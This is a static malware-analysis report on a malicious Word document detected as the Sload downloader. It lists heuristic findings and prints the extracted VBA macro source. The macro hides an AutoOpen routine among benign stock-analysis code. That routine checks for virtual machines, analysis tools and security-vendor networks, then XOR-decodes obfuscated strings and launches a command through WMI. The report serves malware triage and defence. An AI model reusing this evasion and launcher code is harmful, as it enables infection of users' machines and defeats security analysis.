Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e1959941b9d629e…

MALICIOUS

Office (OLE)

157.0 KB Created: 2019-11-25 16:21:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 8991a2ac52c747241a5ee1a270c46873 SHA-1: bdd1ae1a5a90ac551b7733927b175cad6deb9fed SHA-256: 9e1959941b9d629e3e1baa7ebd2ce16d2641548dfc6e3528b200b64018e522cb
292 Risk Score

Heuristics 10

  • ClamAV: Xls.Downloader.Sload-9786292-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Sload-9786292-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • https://www.maxmind.com/geoip/v2.1/city/me�In document text (OLE body)
    • https://www.maxmind.com/en/locate-my-ip-addressIn document text (OLE body)
    • https://www.maxmind.com/geoip/v2.1/city/meIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 131008 bytes
SHA-256: 8d09784406af512b5ff22c446eca9922cb5a30f2da1748ac3893961c4d707d3f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If



Sub HW_AllStocksAnalysis()
    yearValue = InputBox("What year would you like to run the analysis on?")

    Worksheets("Challenge_All Stocks Anlysis").Activate
    Range("A1").Value = "All Stocks (" + yearValue + ")"
    'Create a header row
    Cells(3, 1).Value = "Ticker"
    Cells(3, 2).Value = "Total Daily Volume"
    Cells(3, 3).Value = "Return"
    
    'declare 4 arrays
    Dim tickers(12) As String
    Dim volume(12) As String
    Dim startingPrices(12) As String
    Dim endingPrices(12) As String
    'create index variable
    Dim tickerIndex As Integer

    Worksheets(yearValue).Activate
    RowCount = Cells(Rows.Count, "A").End(xlUp).Row

    '(1)the outer loop for index from 0 to 11
    tickerIndex = 0
    
    Worksheets(yearValue).Activate
    For tickerIndex = 0 To 11
        '(2)the main loop for stock data
        Worksheets(yearValue).Activate
        For j = 2 To RowCount
            'retrieve ticker name and start price for each tickerIndex and store them in arrays
            If Cells(j, 1).Value <> Cells(j - 1, 1).Value Then
                tickers(tickerIndex) = Cells(j, 1).Value
                startingPrices(tickerIndex) = Cells(j, 6).Value
            End If
                '(3)a nested loop for retrieving TotalVolume for each volume array
                Worksheets(yearValue).Activate
                    TotalVolume = 0
                    For x = 2 To RowCount
                        If Cells(x, 1).Value = tickers(tickerIndex) Then
                            TotalVolume = TotalVolume + Cells(x, 8).Value
                        End If
                    Next x

                    volume(tickerIndex) = TotalVolume
            
            'retrieve and store ending price in array as well as increment tickerIndex for next loop
            If Cells(j + 1, 1).Value <> Cells(j, 1).Value Then
                endingPrices(tickerIndex) = Cells(j, 6).Value
                tickerIndex = tickerIndex + 1
            End If
        Next j
        
    Next tickerIndex
    
    '(4)store all informations collected in a output worksheet
    Worksheets("Challenge_All Stocks Anlysis").Activate
    For i = 0 To 11
        
        Cells(i + 4, 1).Value = tickers(i)
        Cells(i + 4, 3).Value = endingPrices(i) / startingPrices(i) - 1
        Cells(4 + i, 2).Value = volume(i)
    
    Next i
                
    'formatting
    Worksheets("Challenge_All Stocks Anlysis").Activate
        Range("A3:C3").Font.Bold = True
        Range("A1").Font.FontStyle = "Bold"
        Range("A3:C3").Borders(xlEdgeBottom).LineStyle = xlContinuous
        Range("B4:B15").NumberFormat = "#,##0"
        Range("c4:c15").NumberFormat = "0.0%"
        Columns(2).AutoFit
    'color conditional formatting
    Worksheets("Challenge_All Stocks Anlysis").Activate
    dataRowEnd = Cells(Rows.Count, "C").End(xlUp).Row
    dataRowStart = 4
    For r = dataRowStart To dataRowEnd
        If Cells(r, 3).Value > 0 Then
            Cells(r, 3).Interior.Color = vbGreen
        ElseIf Cells(r, 3).Value < 0 Then
            Cells(r, 3).Interior.Color = vbRed
        Else
            Cells(r, 3).Interior.Color = xlNone
        End If
    Next r


End Sub

Sub analyze_stocks()
    '' Declare variables
    Dim WS As Worksheet, i As Long, last_row As Long, result_table_row As Integer
    Dim open_price As Double, close_price As Double, yearly_change As Double, yearly_change_percentage As Double, total_stock_vol As LongLong
    Dim greatest_increase_ticker As String, greatest_increase_percentage As Double, greatest_decrease_ticker As String, greatest_decrease_percentage As Double, greatest_total_ticker As String, greatest_total_volume As LongLong
    
    '' Loop through Worksheets
    For Each WS In Worksheets
        '' Set Result Table headers
        WS.Cells(1, 9).Value = "Ticker"
        WS.Cells(1, 10).Value = "Yearly Change"
        WS.Cells(1, 11).Value = "Percentage Change"
        WS.Cells(1, 12).Value = "Total Stock Volume"
        WS.Cells(1, 15).Value = "Ticker"
        WS.Cells(1, 16).Value = "Value"
        
        '' Count number of rows
        last_row = WS.Cells(Rows.Count, 1).End(xlUp).Row
        
        '' Initialize Values
        result_table_row = 2
        total_stock_vol = 0
        greatest_increase_ticker = ""
        greatest_increase_percentage = 0
        greatest_decrease_ticker = ""
        greatest_decrease_percentage = 0
        greatest_total_ticker = ""
        greatest_total_volume = 0
        
        '' Print first ticker's value
        WS.Cells(result_table_row, 9).Value = WS.Cells(2, 1).Value
        
        '' Set first ticker's open price
        open_price = WS.Cells(2, 3).Value
        
        '' Loop through rows
        For i = 2 To last_row
        total_stock_vol = total_stock_vol + WS.Cells(i, 7).Value
            If (WS.Cells(i, 1).Value <> WS.Cells(i + 1, 1).Value) Then
                '' Set previous ticker's close price and calculate yearly change before overriding open price.
                close_price = WS.Cells(i, 6).Value
                yearly_change = close_price - open_price
                
                '' Div by 0 error handling
                If open_price <> 0 Then
                    yearly_change_percentage = yearly_change / open_price
                Else
                    yearly_change_percentage = 0
                End If
                
                '' Find greatest increase percentage by comparing it with a previous value to find a maximum.
                If yearly_change_percentage > greatest_increase_percentage Then
                    greatest_increase_percentage = yearly_change_percentage
                    greatest_increase_ticker = WS.Cells(i, 1).Value
                End If
                
                '' Find greatest decrease percentage by comparing it with a previous value to find a minimum.
                If yearly_change_percentage < greatest_decrease_percentage Then
                    greatest_decrease_percentage = yearly_change_percentage
                    greatest_decrease_ticker = WS.Cells(i, 1).Value
                End If
                
                '' Find greatest volume by comparing it with a previous value to find a maximum
                If total_stock_vol > greatest_total_volume Then
                    greatest_total_volume = total_stock_vol
                    greatest_total_ticker = WS.Cells(i, 1).Value
                End If
                            
                '' Set calculated values to result table
                WS.Cells(result_table_row, 10).Value = yearly_change
                WS.Cells(result_table_row, 11).Value = Format(yearly_change_percentage, "0.00%")
                WS.Cells(result_table_row, 12).Value = total_stock_vol
                
                '' Set percentage change cell background color to green for positive values and red for negative values
                If yearly_change > 0 Then
                    WS.Cells(result_table_row, 10).Interior.ColorIndex = 4
                Else
                    WS.Cells(result_table_row, 10).Interior.ColorIndex = 3
                End If
                
                '' Set result_table_row to next row
                result_table_row = result_table_row + 1
                
                '' Reset total_stock_vol to 0 to reuse it for a next ticker
                total_stock_vol = 0
                
                '' Print next ticker's value (A, AA, etc.)
                WS.Cells(result_table_row, 9).Value = WS.Cells(i + 1, 1).Value
                
                '' Set open price for a next ticker
                open_price = WS.Cells(i + 1, 3).Value
                    
            End If
        Next i
        
        '' Setting up values after looping through all rows
        WS.Cells(2, 14).Value = "Greatest % Increase"
        WS.Cells(2, 15).Value = greatest_increase_ticker
        WS.Cells(2, 16).Value = Format(greatest_increase_percentage, "0.00%")
        
        WS.Cells(3, 14).Value = "Greatest % Decrease"
        WS.Cells(3, 15).Value = greatest_decrease_ticker
        WS.Cells(3, 16).Value = Format(greatest_decrease_percentage, "0.00%")
        
        WS.Cells(4, 14).Value = "Greatest Total Volume"
        WS.Cells(4, 15).Value = greatest_total_ticker
        WS.Cells(4, 16).Value = greatest_total_volume
    
    Next WS
End Sub

Public Sub StockAnalysis()
    Dim WS As Worksheet
    Dim Ticker As String

    Dim vol As LongLong

    Dim Summary_Table_Row As Long

    Dim yearlyChange As Double

    Dim percentChange As Double

    Dim Tick_Begin As Long
    Dim Tick_End As Long

    Dim changeMindex As Long
    Dim changeMaxdex As Long

    Dim volMaxdex As Long

    For Each WS In Worksheets
        vol = 0
        WS.Cells(1, 10).Value = "Ticker"
        WS.Cells(1, 11).Value = "Yearly Change"
        WS.Cells(1, 12).Value = "Percent Change"
        WS.Cells(1, 13).Value = "Total Stock Volume"

        Tick_Begin = 2
        Tick_End = nextIndex(2, WS) - 1
        Summary_Table_Row = 2

        While Not IsEmpty(WS.Cells(Tick_Begin, 1))
            Ticker = TickerVal(Tick_Begin, WS)
            vol = volume(Tick_Begin, Tick_End, WS)
            yearlyChange = Delta(Tick_Begin, Tick_End, WS)
            percentChange = PercentDelta(Tick_Begin, Tick_End, WS)
            
            WS.Cells(Summary_Table_Row, 10).Value = Ticker
            WS.Cells(Summary_Table_Row, 11).Value = yearlyChange
            WS.Cells(Summary_Table_Row, 12).Value = percentChange
            WS.Cells(Summary_Table_Row, 13).Value = vol
            
            If (yearlyChange > 0) Then
                WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 4
            ElseIf (yearlyChange < 0) Then
                WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 3
            End If
            
            WS.Cells(Summary_Table_Row, 12).NumberFormat = "0.00%"

            Tick_Begin = Tick_End + 1
            Tick_End = nextIndex(Tick_Begin, WS) - 1
            Summary_Table_Row = Summary_Table_Row + 1
        Wend

        Summary_Table_Row = Summary_Table_Row - 1

        WS.Cells(2, 15).Value = "Greatest Percent Increase"
        WS.Cells(3, 15).Value = "Greatest Percent Decrease"
        WS.Cells(4, 15).Value = "Greatest Total Volume"

        WS.Cells(1, 16).Value = "Ticker"
        WS.Cells(1, 17).Value = "Value"


        changeMindex = ArgMin(2, Summary_Table_Row, 12, WS)
        changeMaxdex = ArgMax(2, Summary_Table_Row, 12, WS)

        WS.Cells(2, 16).Value = WS.Cells(changeMaxdex, 10).Value
        WS.Cells(2, 17).Value = WS.Cells(changeMaxdex, 12).Value
        WS.Cells(2, 17).NumberFormat = "0.00%"

        WS.Cells(3, 16).Value = WS.Cells(changeMindex, 10).Value
        WS.Cells(3, 17).Value = WS.Cells(changeMindex, 12).Value
        WS.Cells(3, 17).NumberFormat = "0.00%"

        volMaxdex = ArgMax(2, Summary_Table_Row, 13, WS)
        WS.Cells(4, 16).Value = WS.Cells(volMaxdex, 10).Value
        WS.Cells(4, 17).Value = WS.Cells(volMaxdex, 13).Value
        
    Next WS
End Sub


Sub AllBookClose()

    Workbooks.Close
    
End Sub

'*******************************************************************************
'        ????????????
'*******************************************************************************
Sub ActiveBookClose()

    ActiveWorkbook.Close
    
End Sub

'*******************************************************************************
'        ?????????1
'*******************************************************************************
Sub SiteiBookClose()

    Workbooks("Dummy.xls").Close
'   Workbooks(5).Close
    
End Sub

'*******************************************************************************
'        ?????????? (????)
'*******************************************************************************
Sub BookSave_NoConf()

    Workbooks("Dummy.xls").Close SaveChanges:=True
        
End Sub

'*******************************************************************************
'        ???????????? (????)
'*******************************************************************************
Sub BookCancel_NoConf()

    Workbooks("Dummy.xls").Close SaveChanges:=False
    
End Sub

'*******************************************************************************
'        ??? ?????
'*******************************************************************************
Sub BookActivate()

    Workbooks("Dummy.xls").Activate
    
End Sub

'*******************************************************************************
'        ??? ??
'*******************************************************************************
Sub BookSave()

    ActiveWorkbook.Save
'   Workbooks("Dummy.xls").Save
    
End Sub

'*******************************************************************************
'        ????? ??
'*******************************************************************************
Sub NewSheetInsert()

    Worksheets.Add
'   Worksheets.Add after:=Worksheets(1), Count:=2
    
End Sub

'*******************************************************************************
'        ??? ??????
'*******************************************************************************
Sub BookSave_NewNamed()

    ActiveWorkbook.SaveAs _
        Filename:="C:\Documents and Settings\????\My Documents\Dummy2.xls"

End Sub

'*******************************************************************************
'        ?????
'*******************************************************************************
'        ????:??????????????1????199??????101??
'                  ????
'*******************************************************************************
Sub Input1to100()

    Dim i As Integer
    Dim j As Integer
        
    Worksheets("Sheet1").Activate
    Cells.Select
    Selection.ColumnWidth = 3.5
    Range("a1").Select
        
    For i = 1 To 100
        Cells(i, i) = i
    Next i
    For i = 101 To 199
        j = i - 100
        Cells(i, 100).Offset(, -j) = i
   Next i
   
End Sub

'*******************************************************************************
'        ???????  ???
'*******************************************************************************
Sub CellClearContents()

    Cells.Select
    Selection.ClearContents
    Range("a1").Select
        
End Sub

'*******************************************************************************
'        ?????
'*******************************************************************************
Sub RowHidden()

    Workbooks("Book1").Activate
    Worksheets("Sheet2").Rows("5:7").Hidden = True
    
End Sub

'*******************************************************************************
'        ???????????
'*******************************************************************************
Sub RowsCountGet()

'   ???????????
    ActiveWorkbook.Worksheets("Sheet1").Activate
    Range("b10:f18").Select
    
    MsgBox Selection.Rows.Count
   'EntireRow ???????
    Selection.EntireRow.Value = "VBA"
    
   '??????????
    MsgBox ActiveSheet.Rows.Count
    
End Sub

'*******************************************************************************
'        ????????????????????Select
'*******************************************************************************
Sub CurrentRegionVisibleSelect()

    Range("A1").CurrentRegion.SpecialCells(xlCellTypeVisible).Select

End Sub

'*******************************************************************************
'        ???????Copy
'*******************************************************************************
Sub CurrentRegionVisibleCopy()

'   (?????????????????Copy??????????)
    Range("A1").CurrentRegion.Select
    Selection.SpecialCells(xlCellTypeVisible).Copy
    
'   ???????????
    Worksheets("Sheet2").Select
    ActiveSheet.Paste

End Sub

'*******************************************************************************
'        ????????????????????????????
'*******************************************************************************
Sub LastCellAddressGet1()

    MsgBox ActiveSheet.Cells.SpecialCells(xlCellTypeLastCell).Address()

End Sub

'*******************************************************************************
'        ????????????(:)????????????
'*******************************************************************************
Sub LastCellAddressGet2()

    Dim myLastCell As String
    
    myLastCell = ActiveSheet.UsedRange.Address()

    myLastCell = Mid(myLastCell, InStr(myLastCell, ":") + 1)
    MsgBox myLastCell
End Sub



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Public Function ToBase64(sValue As String, Optional ByVal MultiLine As Boolean) As String
    Dim baValue()       As Byte
    Dim lSize           As Long
    
    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin.base64"
        ReDim baValue(0 To 4 * Len(sValue))
        lSize = WideCharToMultiByte(CP_UTF8, 0, StrPtr(sValue), Len(sValue), baValue(0), UBound(baValue) + 1, 0, 0)
        If lSize > 0 Then
            ReDim Preserve baValue(0 To lSize - 1)
            .NodeTypedValue = baValue
        End If
        ToBase64 = .text
        If Not MultiLine Then
            ToBase64 = Replace(Replace(ToBase64, vbCrLf, vbNullString), vbLf, vbNullString)
        End If
    End With
End Function

Sub AutoOpen()
 Dim Vniko As String

    
    If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
    GoTo Fer
    End If
    If checkISP() Then
    GoTo Fer
    End If
    
    Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Retelo = Locator.ConnectServer()
    Retelo.Security_.ImpersonationLevel = 3
    Set cumami = Retelo.Get(yetras(Groa("IQwcQFM8OAwYAiEHABcdFlgkFhcTBhsWS0IXHgMCGgQVABYcTw4BBgQKARwHF0YGGQhVXzMGGwoaExcyBQcaAAUWPBIMBhtYIhcHFg=="), "versache"))
    With cumami
        If .StatusCode = 0 Then
            End
        ElseIf .StatusCode > 0 Then
            End
        End If
    End With
    Set Xewer = Retelo.Get("Win32_Process")
    On Error Resume Next
    Descritis = Xewer.Create(yetras(Groa("FQgWU04ASBUZEhcBEgsNCRpFXwQIDQwKARYGCg0GSA0fARYWD0NFBhkIHxIPB0gsGxUdARVOJQoSEB4WQSEBEQUxABIPEA4ABF5SIBUCGhFbJxsHEjcaBBgWFBYTQ0U2GRAAEARDABECFQFJTkwaBAFLFRoVCx0HAxYXAQIMBhETCwZdAgwFSgYKAhoKFw0XQ1NdAwgIHAwdSh8SEhcNF1kHHhwWTQ0dE0kaBxUTG19ZSgASFk0PDAINBxEUEA0XFQocBwQNHEsVCh9cEQwYDB0RFwFUVUcVHw4GGgpMBQQFERcBTgcNBAVJGgcVExtfWUoAEhZNDwwCDQcRFBANFxUKHAcEDRxLFQofXBEMGAwdERcBVFVHFR8OBhoKTAUEBREXAU4OADwOSxcLBENFIRMWBhoPAhwMGQtSL0NHDQsAXyY2LDM0BxoKBV0EGw05VEkuUUUGBhNMMTc+MT8MAAQELlFNP0pBEwsESTUmJTUqCBoqGU0NHRM5UFNHQ0gGExcGBhUKBEVbARcQDgcNRVMRFx4RRjQBExcTU0QXDQgGQC4XBBEJSxMdF1NHQxgKAQAAAAkGBAlWSAUaDwcHEgURCx8EQwAMEgEXHUFOCwobCBMdBUM7AAJIPhwCAhwMGQtSXjECHA1WOVBXBA0eXyIgPyM9QVNFJRETARVOOBcZBhcAEkMKCRkSXBYZBkhINxcVBgwGBhE6DAEHQQcNFxdLFwsE"), "versache"), Null, Null, Quilo)
Fer:
End Sub

Function checkISP() As Boolean



    badISP = False
    badISPNames = Array("Amazon", "Anonymous", "Blue Coat Systems", "Cisco Systems", "Cloud", "Data Center", "Dedicated", "ESET", "FireEye", "Forcepoint", "Hetzner", "Hosted", "Hosting", "LeaseWeb", "Microsoft", "NForce", "OVH SAS", "Security", "Server", "Strong Technologies", "Trend Micro", "blackoakcomputers", "Datacamp")
    
    Set request = CreateObject("WinHttp.WinHttpRequest.5.1")


    request.Open "GET", "https://www.maxmind.com/geoip/v2.1/city/me", False
    request.setRequestHeader "Referer", "https://www.maxmind.com/en/locate-my-ip-address"
    request.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
    request.setRequestHeader "Host", "www.maxmind.com"
    request.send

        
        For Each badName In badISPNames
             If InStr(request.responseText, badName) > 0 Then
                badISP = True
            End If
        Next


    

    checkISP = badISP
    
End Function

Function checkProc() As Boolean

    Dim Name As String
    Dim Desc As String

    badProc = False
    badMacNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu", "virtual", "kvm", "xen", "redhat")
    
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colAdapters = objWMIService.ExecQuery("SELECT * FROM Win32_Process")
    For Each objAdapter In colAdapters
        
        Name = objAdapter.Name

        For Each badName In badMacNames
            If InStr(LCase(Name), badName) > 0 Then
                badProc = True
            End If
        Next
    Next

    

    checkProc = badProc
    
End Function

Function checkMac() As Boolean



    badMac = False
    badMacNames = Array("00:50:56", "00:0C:29", "00:05:69", "80:00:27", "00:1C:42", "00:16:3E")
    
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapter")
    For Each objAdapter In colAdapters
        
        MACAddress = objAdapter.MACAddress
        For Each badName In badMacNames
            If InStr(MACAddress, badName) > 0 Then
                badMac = True
            End If
        Next
    Next

    

    checkMac = badMac
    
End Function









Function checkFilenameBad() As Boolean

    
    
    badName = False
    badNames = Array("malware", "myapp", "sample", ".bin", "mlwr_", "Desktop")

    
    For Each n In badNames
        If InStr(LCase(ActiveDocument.FullName), n) > 0 Then
            badName = True
        End If
    Next
 

    checkFilenameBad = badName
    
End Function

Function checkTasks() As Boolean

 
    

    badTask = False
    badTaskNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu")
    
    For Each Task In Application.Tasks
    
        For Each badTaskName In badTaskNames
            If InStr(LCase(Task.Name), badTaskName) > 0 Then
                badTask = True
            End If
        Next
        
    Next
    
    checkTasks = badTask
    
End Function

Function checkCores() As Boolean

    

    badCores = False

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
    
    For Each objItem In colItems
    
            If objItem.NumberOfLogicalProcessors < 3 Then
                badCores = True
            End If
        
    Next

  checkCores = badCores
    
End Function

Function checkBios() As Boolean



    badBios = False
    badBiosNames = Array("virtualbox", "vmware", "kvm", "qemu", "xen", "redhat", "a m i")
    
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)
    
    For Each objItem In colItems
    
        For Each badName In badBiosNames
            If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
                badBios = True
            End If
            If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
                badBios = True
            End If
        Next
        
    Next

    checkBios = badBios
    
End Function

Function checkPnP() As Boolean

    

    badPNP = False
    badPNPNames = Array("VEN_80EE", "VEN_15AD")
    
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)
    
    For Each objItem In colItems
    
        For Each badName In badPNPNames
            If InStr(LCase(objItem.DeviceId), badName) > 0 Then
                badPNP = True
            End If
        Next
        
    Next

    checkPnP = badPNP
    
End Function

Public Function Groa(sBase64 As String) As String
    Dim baValue()       As Byte
    Dim sValue          As String
    Dim lSize           As Long
    
    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin.base64"
        .text = sBase64
        baValue = .NodeTypedValue
        sValue = String$(4 * UBound(baValue), 0)
        lSize = MultiByteToWideChar(CP_UTF8, 0, baValue(0), UBound(baValue) + 1, StrPtr(sValue), Len(sValue))
        Groa = Left$(sValue, lSize)
    End With
End Function

Private Function yetras(text As String, key As String) As String
  Dim bText() As Byte
  Dim bKey() As Byte
  
  Dim TextUB As Long
  Dim KeyUB As Long
  
  
  
  bText = StrConv(text, vbFromUnicode)
  bKey = StrConv(key, vbFromUnicode)
  TextUB = UBound(bText)
  KeyUB = UBound(bKey)
  Dim TextPos As Long
  Dim Trenfa As Long
  For TextPos = 0 To TextUB
    bText(TextPos) = bText(TextPos) Xor bKey(Trenfa)
    If Trenfa < KeyUB Then
      Trenfa = Trenfa + 1
    Else
      Trenfa = 0
    End If
  Next TextPos
  yetras = StrConv(bText, vbUnicode)
End Function



Public Function DUPLO(file_path As String) As Boolean
    

    trega = Dir(file_path) <> ""
    Exit Function

DirErr:
      If Err.Number = 68 Then
        trega = False
    Else
        MsgBox Err.Description & " (" & Err.Number & ")", , "Run-time Error"
        Stop
    End If
End Function

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


Public Sub COBOL?????????()
  
  Const cnOutFile As String = "C:\Users\roshi_000\MyImp\MyOwn\Develop\Excel VBA\My VBA\Debug.txt"  '##### Debug

  Const cnStartBlk As Long = 45        '????????????
  Const cnStep     As Long = -1        '???
  
  Dim oNew    As String              '????
  Dim oOld    As String              '????
  Dim nBlock  As Long                  '????????
  
  Call sb????(oNew, oOld)
  
  Set g_oTStrm = g_oFso.CreateTextFile(cnOutFile, True)  '##### Debug
  
  For nBlock = cnStartBlk To 1 Step cnStep
    Call sb???????(nBlock, oNew, oOld)
  Next
  
  Call sb???Debug(oNew, oOld)                         '##### Debug
 'Call sb??????(oNew, oOld)
 'Call sb????

  g_oTStrm.Close                                         '##### Debug

End Sub

'*******************************************************************************
'        ????
'*******************************************************************************
Private Sub sb????(oNew As String, oOld As String)
  
  Dim sNewSheet  As String
  Dim sOldSheet  As String
  
  sNewSheet = Application.InputBox(Prompt:="??????????????", _
                                   Title:="???????", Type:=2)
  sOldSheet = Application.InputBox(Prompt:="??????????????", _
                                   Title:="???????", Type:=2)
                                   
  Call sb????????(oNew, sNewSheet)
  Call sb????????(oOld, sOldSheet)
  
  oNew.oSoc(oNew.oPrp.nSocMaxidx).nOpidx = oOld.oPrp.nSocMaxidx
  oOld.oSoc(oOld.oPrp.nSocMaxidx).nOpidx = oNew.oPrp.nSocMaxidx
  
End Sub

'*******************************************************************************
'        ????????
'*******************************************************************************
'      < ???? >
'        ?????,????????????
'*******************************************************************************
Private Sub sb????????(oCmn As String, sCmnSheet As String)
  
  Const cnLenSeq As Long = 6
  Const cnBgnSoc As Long = 7
  Const cnLenSoc As Long = 66
  
  Dim nRow       As Long
  Dim nidx       As Long
  Dim nComntCol  As Long
  Dim nComntidx  As Long

  With oCmn.oPrp
    Set .oSheet = Worksheets(sCmnSheet)
    .nSocMinRow = g_cnSocMinRow
    .nSocMaxRow = .oSheet.Cells(.oSheet.Rows.Count, g_cnSocCol).End(xlUp).Row
    .nSocMaxidx = .nSocMaxRow - g_cnSocMinRow
    ReDim oCmn.oSoc(.nSocMaxidx)
  End With

  For nRow = oCmn.oPrp.nSocMinRow To oCmn.oPrp.nSocMaxRow
    nidx = nRow - g_cnSocMinRow
    With oCmn.oSoc(nidx)
      .bMatch = False
      .nOpidx = 0
      .sSeqno = Left(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnLenSeq)
      .sSourc = Trim(Mid(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnBgnSoc, cnLenSoc))
      
      For nComntCol = g_cnLeftComntCol To g_cnRigtComntCol
        nComntidx = nComntCol - g_cnLeftComntCol
        .sComnt(nComntidx) = oCmn.oPrp.oSheet.Cells(nRow, nComntCol).Value
      Next
    End With
  Next
  
End Sub

'*******************************************************************************
